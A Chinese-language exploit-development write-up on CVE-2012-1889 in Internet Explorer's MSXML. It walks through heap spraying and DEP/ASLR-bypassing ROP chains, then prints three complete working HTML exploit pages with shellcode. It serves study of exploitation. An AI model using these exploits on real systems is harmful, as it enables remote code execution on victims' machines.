软件名称:Microsoft Internet Explorer 软件版本:6.0/8.0 漏洞模块:msxml3.dll 模块版本: 编译日期:2022-07-06 | 操作系统:Windows XP/7 漏洞编号:CVE-2012-1889 危害等级:高危 漏洞类型:缓冲区溢出 威胁类型:远程 |
软件简介
Internet Explorer(简称:IE)是微软公司推出的一款网页浏览器。原称Microsoft Internet Explorer(6版本以前)和Windows Internet Explorer(7、8、9、10、11版本)。在IE7以前,中文直译为“网络探路者”,但在IE7以后官方便直接俗称"IE浏览器"。
Microsoft XML Core Services(MSXML)是一组服务,可用于JScript、VBScript、Microsoft开发编写的应用构建基于XML的Windows-native应用。
漏洞成因
MS12-043(CVE-2012-1889)是一个被360捕获的系统级漏洞,受这个漏洞影响的系统:
Windows XP SP3 (x86)
Windows XP SP2 (x64)
Windows Server 2003 SP2 (x86/x64)
Windows Vista SP2 (x86/x64)
Windows Server 2008 SP2 (x86/x64)
Windows 7 (x86/x64)
Windows 7 SPI (x86/x64)
Windows Server 2008 R2 (x86/x64)
Windows Server 2008 R2 SPI (x86/x64)
Windows 8 (x86/x64)
Microsoft XML Core Services 3.0、4.0、5.0、6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务。
利用过程
- WinXP+IE6
使用下面POC进行漏洞的验证:
WinDBG进行附加:
运行之后,程序会触发漏洞,在0x5dd8d772中断下来:
在执行CALL [ecx+18]这条指令时触发漏洞,而ecx又是来自上面的eax取内容,eax又来自[ebp-14h],是栈中的一个局部变量。
已经验证漏洞存在,下面使用POC2进行测试:
POC中通过定义初始化对象的同时创建一个IMG对象,改变栈中的值,进而将eax改为0x0C0C0C0C,而eax被作为指针来使用,并将指针指向的内容赋给ecx,然后ecx作为基址加上0x18的偏移取出内容并调用。
此次运行,程序在读取eax(0x0C0C0C0C)上的内容时,引发数据访问的异常。根据这个POC的验证,已经可以将eax修改为0x0C0C0C0C。如何使0x0C0C0C0C处的代码变成我们想要的内容去执行,可以用到堆喷射—Heap Spray。攻击者在使用Heap Spray时候,会在堆栈溢出后将EIP指向堆区类似0x0C0C0C0C的位置,并且在这之前会使用Javascript申请大量的堆内存,并将包含SlideCode和Shellcode的代码块不断重复的占用所申请的内存空间。Slide内存一般由200个左右的Slide块组成,每个Slide块都有大量的滑板指令(NOP或者OR AL,OC)加上Shellcode组成。这样只要0x0C0C0C0C命中任意一个滑板指令,都会将其引导到我们的Shellcode中。
使用Heap Spray技术,将0xOCOCOCOC处填满我们的Slide,当执行CALL[ecx+18h]时,会将0x0C0C0C24上的内容取出来当函数地址去执行,由于堆喷射0x0C0C0C24上的内容也是0x0C0C0C0C,这样就会CALL 0x0C0C0C0C,而0x0C0C0C0C正好是我们的Slide头部,当头部执行完大量的滑板指令之后,就会将执行流程引导到我们的Shellcode,执行我们的Shellcode
将Shellcode转换为JS格式:
准备好转码后的Shellcode:
制作滑板数据:
填充200M的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C,每个滑板块由滑板数据和Shellcode组成。
触发漏洞:
测试效果:
成功执行了我们构造的指令。
- WinXP+IE8
IE8开启了DEP,能够在内存上执行额外的的检查以防止运行恶意代码,基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入Shellcode时,程序尝试在数据页面上执行指令,此时CPU就会抛出异常,而不执行恶意指令。
Return to libc,利用系统自身存在的代码,来调用一些函数关闭DEP的保护。思路:DEP保护了ShellCode所属内存页的执行属性,那么所有安排好的ShellCode都将不能执行。但是系统空间的代码所在的内存属性还是拥有执行权限的,将异常处的代码安排为系统代码内存地址。系统空间的代码地址并非连续的,我们可以利用ESP和ret让这些指令连接起来,只要能让溢出点转向系统空间的汇编指令那么,通过各种指令连接在一起就可以完成这个工作。ShellCode处于堆空间当中,使用各种指令组合出一个调用virtualprotect的操作,将ShellCode处内存改为可执行属性
先使用IE6的POC进行测试:
发现弹窗并不能触发,调试发现0x0C0C0C0C没有是数据,IE8开启的DEP对Heap Spray进行了限制,不允许直接字符串赋值,因此需要修改堆喷射的代码:
修改之后,再次进行测试,没能成功弹出MessageBox,提示开启了数据执行保护:
开启DEP后,可写的地方无法执行,如果执行就触发DEP。需要使用VirtualProtect对其属性进行修改。我们可以使用Heap Spray技术将0x0C0C0C0C处填满我们的Slide,当执行CALL [ECX+18]时,将0x0C0C0C24处的内容0x0C0C0C0C取出当函数地址执行,而此时0x0C0C0C0C正好为我们Slide的头部,当头部执行完后,会将执行流程引导到Shellcode。
我们将0x0C0C0C24地址上的内容填上VirtualProtect函数的地址,但问题是4个参数还是栈中的0C0C0C0C,栈中的内容我们无法控制,堆中的内容可以控制。因此,我们需要把栈空间切换到堆里面,即让ESP指向堆,然后通过堆喷射,合理操作堆,才能调用VirtualProtect函数。
我们让0x0C0C0C24地址上的内容是XCHG EAX,ESP#RET 这组指令的地址。
当CALL的时候,就会执行这两条指令,让EAX和ESP进行交换,此时ESP就成功的指向0x0C0C0C0C了,当RET执行时,就会使用0x0C0C0C0C上的内容作为返回地址,如图,就会返回到 xxxxx。如果我们将xxxxx设置成VirtualProtect函数的地址,应该会返回到VirtualProtect函数去执行。
但有问题出现:
如果0x0C0C0C0C上的内容是VirtualProtect函数的地址,前面执行 mov ecx,[eax] 时,ecx也变成了VirtualProtect函数的地址,ecx加上18再取内容,CALL的这个地方就不是可预测的了,程序就崩了。
如果我们将栈溢出部分的数据都填为0x0C0C0C08,这样EAX就会等于0C0C0C08,ECX在0x0C0C0C08地址上取的依然是0C0C0C0C,ECX加18依然是0x0C0C0C24,CALL的时候依然会到指令组合,返回的时候返回到0x0C0C0C0C。如果这个地址上填VirtualProtect的地址,应该会返回到VirtualProtect函数去执行。
此时,又有问题出现:
如果0x0C0C0C0C上的内容是VirtualProtect函数的地址,前面执行 mov ecx,[eax]时,在0x0C0C0C0C上取内容,取得就是VirtualProtect函数的地址,再加上18取内容,还是不可知的地方,程序还是会崩溃。
不管怎样,ECX都会是0x0C0C0C0C,再加上0x18就是0x0C0C0C24,然后再CALL,执行交换指令,最后都会返回到0x0C0C0C0C地址上的内容,而0x0C0C0C0C这个地址上的内容如果修改,就会影响前面,逻辑出现死锁。
这时候,我们需要对溢出点前后的代码进行观察分析:
我们发现在引发漏洞的下面,对ESI取内容给了EAX,然后又将ESI压入栈,又将EAX加8取内容,CALL这个内容。对这个CALL 的内容进行分析,EAX来自ESI取内容,而ESI有来自上面的EAX,而上面的EAX是0C0C0C08,ESI也是0C0C0C08,而0x0C0C0C08上面的内容还是0C0C0C0C,所以这里的EAX是0C0C0C0C,而EAX加8就是0C0C0C14,CALL的就是0x0C0C0C14上面的内容。
因此,我们可以将上面的0x0C0C0C24地址上填一个RET的地址,当执行到这的时候,不会触发漏洞,直接返回。继续往下执行,EAX就会变成0C0C0C0C,再加上8,CALL这个0x0C0C0C14地址上面的内容,我们将0x0C0C0C14地址上填为交换EAX和ESP、RET组合指令的地址,执行完XCHG命令后,ESP就指向了0C0C0C0C。RET执行时,就会使用0x0C0C0C0C上的内容作为返回地址。这个时候,如果我们把0x0C0C0C0C地址上的内容改为VirtualProtect地址,就有可能执行VitrualProtect这个函数
但是,这个时候还不能在0x0C0C0C0C的地方填VirtualProtect的地址,因为其还有四个参数,参数会将下面的内容给覆盖,空间不够,还需要再进一步操作。
整个流程:
mov eax,[ebp-14]:EAX值是0C0C0C08;
mov esi,eax:将这个值给ESI,ESI也变成了0C0C0C08;
mov ecx,[eax]:在0x0C0C0C08上取内容给ECX,ECX变成了0C0C0C0C
all [ecx+18]:0C0C0C0C加18等于0C0C0C24,然后CALL这个地址上的内容,就是执行了RET,直接返回
mov eax,[esi]:将ESI(0C0C0C08)取内容给EAX,EAX变成了0C0C0C0C
call [eax+8]:将0C0C0C0C加上8等于0C0C0C014,然后CALL这个地址上的内容,就执行了XCHG指令,执行完后ESP变成了0C0C0C0C
RET的时候就会将0x0C0C0C0C上的内容弹出作为EIP,然后去执行,而0x0C0C0C0C上又是一个RET的地址,执行完后,就行执行下一行。
0x0C0C0C10上是 pop exx#ret的地址,这个指令是为了将下面的XCHG指令绕过,防止再执行,pop之后,下面的XCHG命令的地址就没了,ret后就会到下面RET的地址,然后一直RET。必须保证0x0C0C0C24的地址上的内容是RET的地址,所以到了0x0C0C0C28的时候才可以在填VirtualProtect函数的地址。
思路已经理清楚,如何保证堆喷射的时候,喷射后的对应位置时我们刚才构造的指令?
精准堆喷射:
一个内存的分布都是以一个分页为单位,大多数x86系统中,这个分页都是4KB(0x1000字节)。假如我们知道了一个地址距离某个内存页起始位置的偏移(地址0x0C0C0C0C距离内存页起始位置的偏移为0x5F6),就需要我们构建N个类似的内存块,每个内存块的数据完全相同,并且都在0x5F6开始有关键数据,就可以构成精准堆喷射。
确定Padding的大小:相对偏移=(目标地址-UserPtr地址)%0x1000/2
先调试Step1.htm,确认其覆盖0x0C0C0C0C后,执行下面的命令:
!heap -p -a 0c0c0c0c,找到堆的信息
相对偏移=(0x0C0C0C0C-0x0c060020) %0x1000/2=5F6。
找到精准位置后,构建脚本测试:
WinDBG附加进程,输入g命令,然后在浏览器中允许,程序会在WinDBG中断下来,输入: dd 0c0c0c0c,看上面的内容:
说明我们的精准堆喷射已经成功,我们只需要在上面填上我们构造的命令即可完成。
构造执行链:
找到ret指令的地址:!py mona findwild -s "ret" -m msvcrt.dll
找到 pop ebp#ret指令的地址:!py mona findwild -s "pop ebp#ret" -m msvcrt.dll
找到 xchg eax,esp#ret指令的地址:!py mona findwild -s "xchg eax,esp#ret" -m msvcrt.dll
找到 VirtualProtect的地址:u VirtualProtect
VirtualProtect函数需要保存旧属性,因次要找一个可以写的地址保存。 可以在msvcrt.dll中找一个具有写入属性的区段。 因为区段在内存中对齐后通常最后边的内容都是无用的,所以可以用最后四个字节来保存旧属性
使用LoadPE查看msvcrt.dll各区段
使用命令分别查看各区段的属性:
发现data段有WRITECOPY的权限,看这个区段的最后位置:77be0000 + 54000 – 4
有读写的权限,所以我们可以找:77be0000 + 54000 - 4 =77C33FFC 来保存旧属性
因此,整个流程的地址都构造好了:
最后面只需要加上我们的payload即可:
运行测试,成功执行我们构造的指令:
- Win7+IE8
Win7中又多了一个ASLR保护,通过随机放置进程关键数据区域的地址来防止攻击者能可靠地跳转到内存的特定位置来利用函数。因此,我们需要找到未开启ASLR得DLL
命令:!py mona mod
找到了3个dll没有开启ASLR:jp2ssv.dll、ssv.dll、MSVR71.dll,重启之后,对比发现确实没有改变基址。下面就是使用mona命令,找到对应的一些地址。
找到ret指令的地址:!py mona findwild -s "ret" -m jp2ssv.dll
找到 pop ebp#ret指令的地址:!py mona findwild -s "pop ebp#ret" -m jp2ssv.dll
找到 xchg eax,esp#ret指令的地址:!py mona findwild -s "xchg eax,esp#ret" -m ssv.dll
找到 VirtualProtect的地址:u kernel32! VirtualProtect
VirtualProtect函数需要保存旧属性,因次要找一个可以写的地址保存。 可以在ssv.dll中找一个具有写入属性的区段。 因为区段在内存中对齐后通常最后边的内容都是无用的,所以可以用最后四个字节来保存旧属性
使用LoadPE查看ssv.dll各区段(C:\Program Files\Java\jre6\bin\ssv.dll)
使用命令分别查看各区段的属性:
发现data段有READWRITE的权限,看这个区段的最后位置:6d730000 + 22000 – 4
有读写的权限,所以我们可以找:6d730000 + 22000 – 4 =6d751ffc 来保存旧属性
因此,整个流程的地址都构造好了:
最后面只需要加上我们的payload即可:
运行测试,成功执行我们构造的指令:
PoC
- WinXP+IE6 POC
<html>
<head>
<title>CVE 2012-1889 PoC v3 By:15PB.Com</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1. 准备好Shellcode(unescape()是解码函数)
var cShellcode = unescape(
"\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
"\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
"\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
"\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
"\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
"\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
"\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
"\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
"\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
"\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
"\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
"\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
"\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
"\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
"\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
"\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
"\uC25D\u0010\u0000");
// 2. 制作一块滑板数据
// 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 1024*1024 / 2; // 一个滑板指令区的大小(1MB)
var nMlcHadSize = 32 / 2; // 堆头部大小
var nStrLenSize = 4 / 2; // 堆长度信息大小
var nTerminatorSize = 2 / 2; // 堆结尾符号大小
var nScSize = cShellcode.length; // Shellcode大小
var nFillSize = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
// 2.2 填充滑板指令,制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C
var cSlideData = new Array(); // 申请一个数组对象用于保存滑板数据
while (cFillData.length <= nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
//3.填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C
//区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
//正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
// 后面的Shellcode处,进而执行Shellcode。
for (var i = 0; i < 200; i++)
cSlideData[i] = cFillData + cShellcode;
// 4. 触发CVE 2012-1889漏洞
// 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
var srcImgPath = unescape("\u0C0C\u0C0C");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB_Com" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
// 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
// 4.4 定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
- WinXP+IE8 POC
<html>
<head>
<title>By:15PB.Com</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1. 生成Padding
var cPadding = unescape("\u0C0C\u0C0C");
while (cPadding.length < 0x1000)
cPadding += cPadding;
cPadding = cPadding.substring(0, 0x5F6);
// 2. 制作Ret2Libc
var cRet2Libc = unescape(
"\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]
"\uBB8B\u77BE" + // 0x77BEBB8B : # POP EBP # RETN [msvcrt.dll]
"\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]
"\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]
"\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]
"\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]
"\u1110\u77BE" + // 0x77BE1110: # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry
"\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect
"\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)
"\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress = Payload Addr
"\u1000\u0000" + // 0x00001000 : # dwSize = 0x00001000
"\u0040\u0000" + // 0x00000040 : # flNewProtect = 0x00000040
"\u3FFC\u77C3" );// 0x77C33FFC : # lpflOldProtect = 0x77C33FFC
// 3. 准备好Payload(unescape()是解码函数)
var cPayload = unescape(
"\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
"\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
"\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
"\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
"\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
"\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
"\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
"\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
"\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
"\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
"\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
"\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
"\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
"\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
"\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
"\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
"\uC25D\u0010\u0000");
// 4. 准备好FillData
// 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)
var nPadSize = cPadding.length; // Padding大小
var nR2LSize = cRet2Libc.length; // Ret2Libc大小
var nPySize = cPayload.length; // Shellcode大小
var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;
// 4.2 制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C");
while (cFillData.length < nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
// 5. 构建滑板指令数据块
var nBlockSize = 0x40000; // 256KB
var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
while (cBlock.length < nBlockSize)
cBlock += cBlock;
cBlock = cBlock.substring(2, nBlockSize-0x20); // 0x809
// 6.填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
//区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
//正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
//后面的Shellcode处,进而执行Shellcode。
var cSlideData = new Array();
for (var i = 0; i < 800; i++)
cSlideData[i] = cBlock.substr(0, cBlock.length);
// 7. 触发CVE 2012-1889漏洞
// 7.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
var srcImgPath = unescape("\u0C0C\u0C08");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB_Com" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
// 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
// 7.4 定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
- Win7+IE8 POC
<html>
<head>
<title>By:15PB.Com</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1.生成Padding
var cPadding = unescape("\u0C0C\u0C0C");
while (cPadding.length < 0x1000)
cPadding += cPadding;
cPadding = cPadding.substring(0, 0x5F6);
// 2.制作Ret2Libc
var cRet2Libc = unescape(
"\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]
"\u3ca5\u6d43" + // 0x6d433ca5 : # POP EBP # RETN [msvcrt.dll]
"\u7cb3\u6d73" + // 0x6d737cb3 : # XCHG EAX, ESP # RETN [msvcrt.dll]
"\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]
"\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]
"\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]
"\u1029\u6d43" + // 0x6d431029: # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry
"\u2341\u7700" + // 0x77002341 : # Return to VirtualProtect
"\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)
"\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress = Payload Addr
"\u1000\u0000" + // 0x00001000 : # dwSize = 0x00001000
"\u0040\u0000" + // 0x00000040 : # flNewProtect = 0x00000040
"\u1ffc\u6d75" );// 0x6d751ffc : # lpflOldProtect = 0x6d751ffc
// 3.准备好Payload(unescape()是解码函数)
var cPayload = unescape(
"\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
"\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
"\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
"\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
"\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
"\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
"\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
"\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
"\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
"\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
"\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
"\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
"\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
"\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
"\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
"\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
"\uC25D\u0010\u0000");
// 4.准备好FillData
//4.1计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)
var nPadSize = cPadding.length; // Padding大小
var nR2LSize = cRet2Libc.length; // Ret2Libc大小
var nPySize = cPayload.length; // Shellcode大小
var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;
//4.2制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C");
while (cFillData.length < nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
//5.构建滑板指令数据块
var nBlockSize = 0x40000; // 256KB
var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
while (cBlock.length < nBlockSize)
cBlock += cBlock;
cBlock = cBlock.substring(2, nBlockSize-0x20); // 0x809
//6.填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
//区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
//正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
//后面的Shellcode处,进而执行Shellcode。
var cSlideData = new Array();
for (var i = 0; i < 800; i++)
cSlideData[i] = cBlock.substr(0, cBlock.length);
//7.触发CVE 2012-1889漏洞
//7.1获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
//7.2构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
var srcImgPath = unescape("\u0C0C\u0C08");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB_Com" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
//7.3创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
//7.4定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
结语
WinXP+IE6环境下,该漏洞利用比较容易;WinXP+IE8环境开启了DEP,利用起来比较难,需要我们精心构造执行链;Win7+IE8开启了ASLR机制,大致流程和WinXP类似。通过本次对暴雷漏洞的分析,学习了解了堆喷射、精准堆喷射、return to libc等技术。了解了绕过DEP的一些思路,熟悉了WinDBG一些命令的使用。对漏洞利用有了更深的认识,还需要继续学习。